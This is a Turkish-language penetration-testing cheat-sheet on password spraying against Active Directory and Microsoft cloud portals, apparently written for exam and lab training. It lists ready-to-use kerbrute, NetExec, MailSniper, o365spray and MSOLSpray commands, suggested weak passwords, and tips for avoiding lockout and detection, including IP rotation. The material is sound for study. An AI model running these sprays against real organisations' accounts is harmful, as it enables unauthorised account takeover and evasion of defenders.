FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE kolay :88:389:445:636

Password Spraying (Parola Püskürtme)

Geçerli kullanıcı listesine karşı tek bir zayıf/ortak parolayı deneyerek hesap kilitlenmesine takılmadan ilk geçerli kimlik bilgisini elde etme. kerbrute, netexec (SMB/LDAP/Kerberos) ile uygulanır; lockout policy farkındalığı kritiktir.

Bilgi: ÖN KOŞULLAR
  • Geçerli kullanıcı adları listesi (ad-userenum / ad-enum-nocreds çıktısı)
  • DC ile ağ erişimi (88/TCP Kerberos veya 445/389)
  • Domain adı ({{DOMAIN}}) ve DC IP'si ({{DC_IP}})
  • Hesap kilitleme (lockout) politikası bilgisi (badPwdCount eşiği, observation window)
┌──

Komutlar

kerbrute ✓ EXAM-SAFE
kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} users.txt '{{PASS}}'
Kerberos pre-auth (AS-REQ) ile tek parolayı tüm kullanıcılara püskürtür. AGRESİF DEĞİL: tek deneme/hesap. Geçerli olanları '[+] VALID LOGIN' olarak işaretler. HackTricks - Password Spraying / Brute Force (kerbrute)
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u users.txt -p '{{PASS}}' --continue-on-success
SMB üzerinden tek parolayı kullanıcı listesine dener. --continue-on-success ilk başarıda durmaz, tüm geçerlileri bulur. '[+]' = geçerli, '(Pwn3d!)' = lokal admin. NetExec Wiki - SMB Protocol / Password Spraying
netexec ✓ EXAM-SAFE
nxc ldap {{DC_IP}} -u users.txt -p '{{PASS}}' --continue-on-success
LDAP üzerinden spray. SMB imzalama/kilitleme davranışından bağımsız bir kanal; bazı ortamlarda LDAP bind logları SMB'den farklı izlenir. NetExec Wiki - LDAP Protocol
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '{{USER}}' -p passwords.txt --continue-on-success
Tersi senaryo: tek bir kullanıcıya birden çok parola (low-and-slow brute). Lockout eşiğine DİKKAT; -p yerine az sayıda parola kullanın. NetExec Wiki - SMB Protocol
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --pass-pol
Spray ÖNCESİ parola/lockout politikasını çek. Lockout Threshold ve Reset Account Lockout Counter After değerlerini öğrenip güvenli deneme sayısını planlayın. NetExec Wiki - SMB --pass-pol
kerbrute ✓ EXAM-SAFE
kerbrute passwordspray -d {{DOMAIN}} --dc {{DC_IP}} users.txt '{{PASS}}' --safe
--safe bayrağı: bir hesap kilitlenmiş tespit edilirse tüm spray'i durdurur. Üretim/sınav ortamında kilitleme riskini azaltır. Kerbrute README - passwordspray --safe
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u users.txt -H {{NTHASH}} --continue-on-success
Pass-the-Hash spray: parola yerine NTLM hash'i ile birden çok kullanıcıyı/host'u dener (hash reuse tespiti). NetExec Wiki - SMB Pass-the-Hash
MailSniper ✓ EXAM-SAFE
Invoke-PasswordSprayOWA -ExchHostname {{RHOST}} -UserList users.txt -Password '{{PASS}}'
HARİCİ ilk erişim: internete açık OWA/Exchange portalına password spray. Dış portallarda lockout/2FA çoğu zaman zayıftır; bulunan kimlik iç AD zincirini başlatır (sonra ad-bloodhound). The Hacker Playbook 3 - Finding Credentials from Outside; dafthack MailSniper
o365spray ✓ EXAM-SAFE
o365spray --spray -U users.txt -p '{{PASS}}' --domain {{DOMAIN}}
Office 365 / Azure AD-backed portal spray (önce --validate ile domain federe mi öğren). 2FA yoksa geçerli bulut kimliği genelde on-prem kullanıcıdır. 0xZDH o365spray; THP3 external spray
MSOLSpray ✓ EXAM-SAFE
Invoke-MSOLSpray -UserList users.txt -Password '{{PASS}}'
Azure AD (Microsoft Online) spray; MFA/locked/disabled durumunu da raporlar. Azure smart-lockout farkındalığıyla low-and-slow kullanın. dafthack MSOLSpray

Amaç ve Mantık

Password spraying, kullanıcı başına çok parola denemek yerine (klasik brute force) tüm kullanıcılara TEK bir ortak/zayıf parola dener. Bu sayede her hesabın badPwdCount sayacı yalnızca 1 artar ve hesap kilitleme (account lockout) tetiklenmez. Tipik denenen parolalar: Welcome1, Summer2025!, {{DOMAIN}} adından türetilmiş parolalar, Password123!, mevsim+yıl kombinasyonları.

Adım 1: Lockout Politikasını Öğren (KRİTİK)

Spray’e başlamadan önce mutlaka lockout politikasını çekin. nxc smb {{DC_IP}} -u '' -p '' --pass-pol ile null session üzerinden veya geçerli bir hesapla politikayı alın. Önemli değerler:

  • Lockout Threshold: kaç hatalı denemede kilitlenir (örn. 5). 0 ise kilitleme yok.
  • Reset Account Lockout Counter After / Observation Window: badPwdCount kaç dakikada sıfırlanır (örn. 30 dk).

Kurala uymak için: her spray turunda hesap başına 1 deneme yapın ve turlar arasında observation window kadar bekleyin. Eşik 5 ise asla tek pencerede 4+ parola denemeyin.

Adım 2: Kullanıcı Listesini Hazırla

Spray hedefi geçerli kullanıcı adlarıdır. Bunları ad-userenum (kerbrute userenum, impacket-lookupsid, RID brute) veya ad-enum-nocreds aşamalarından elde edin ve users.txt içine, samAccountName formatında (domain prefix olmadan) yazın.

Adım 3: Spray Uygula

Kerberos tabanlı yöntem (kerbrute) en hızlısı ve en sessizidir çünkü AS-REQ ön kimlik doğrulaması kullanır; başarısız Kerberos pre-auth, bazı SIEM kurulumlarında 4768/4771 olayları olarak görünür. NetExec SMB/LDAP yöntemi ise 4625 logon failure olayları üretir.

  • Kerberos: kerbrute passwordspray--safe bayrağı kilitleme algılarsa durur.
  • SMB: nxc smb ... --continue-on-successPwn3d! etiketi o host’ta lokal admin demektir.
  • LDAP: alternatif kanal; SMB imzalama gereksinimi sorun çıkarırsa kullanışlı.

Harici / Cloud Portal Spray (ağa girmeden ilk erişim)

Gerçek dünyada (ve bazı PG/HTB Pro Lab senaryolarında) ilk geçerli kimlik çoğu zaman internete açık, AD-destekli portallara spray ile elde edilir — iç DC’ye erişimin olmadan. Bu, yukarıdaki iç spray’in dışarıdan yapılan halidir ve ad-bloodhound/iç zincire köprü olur:

  • OWA / ExchangeMailSniper Invoke-PasswordSprayOWA (kullanıcı enum için Invoke-UsernameHarvestOWA).
  • Office 365 / Azure ADo365spray (önce --validate ile domain’in federe/managed olduğunu öğren), MSOLSpray (MFA/locked/disabled durumunu raporlar), trevorspray.
  • Bu portallarda lockout ve 2FA çoğu zaman zayıf/yok; Sezon+Yıl (Autumn2025!), Şirket+Yıl kalıplarını dene. Yine de Azure smart-lockout vardır — IP rotasyonu/low-and-slow kullan.

Gotchas

  • —continue-on-success ŞART: NetExec varsayılan olarak ilk geçerli kimlikte durur; tüm geçerlileri bulmak için bu bayrağı ekleyin.
  • Clock skew: Kerberos yöntemlerinde DC ile saat farkı 5 dk’yı geçerse KRB_AP_ERR_SKEW alırsınız; sudo ntpdate {{DC_IP}} veya sudo rdate -n {{DC_IP}} ile senkronize edin.
  • Disabled/expired hesaplar: Geçerli parola bulsanız bile hesap devre dışıysa logon başarısız olur; BloodHound ile hesap durumunu doğrulayın.
  • Tek parola = tek pencere: Birden fazla parola denemek gerekiyorsa, observation window arasına yayın (low-and-slow).
  • Bulunan geçerli kimlik bilgisiyle bir sonraki adım: ad-bloodhound (kimlikli toplama), ad-kerberoast, ad-enum-creds.
┌──

Kaynaklar

0/15 set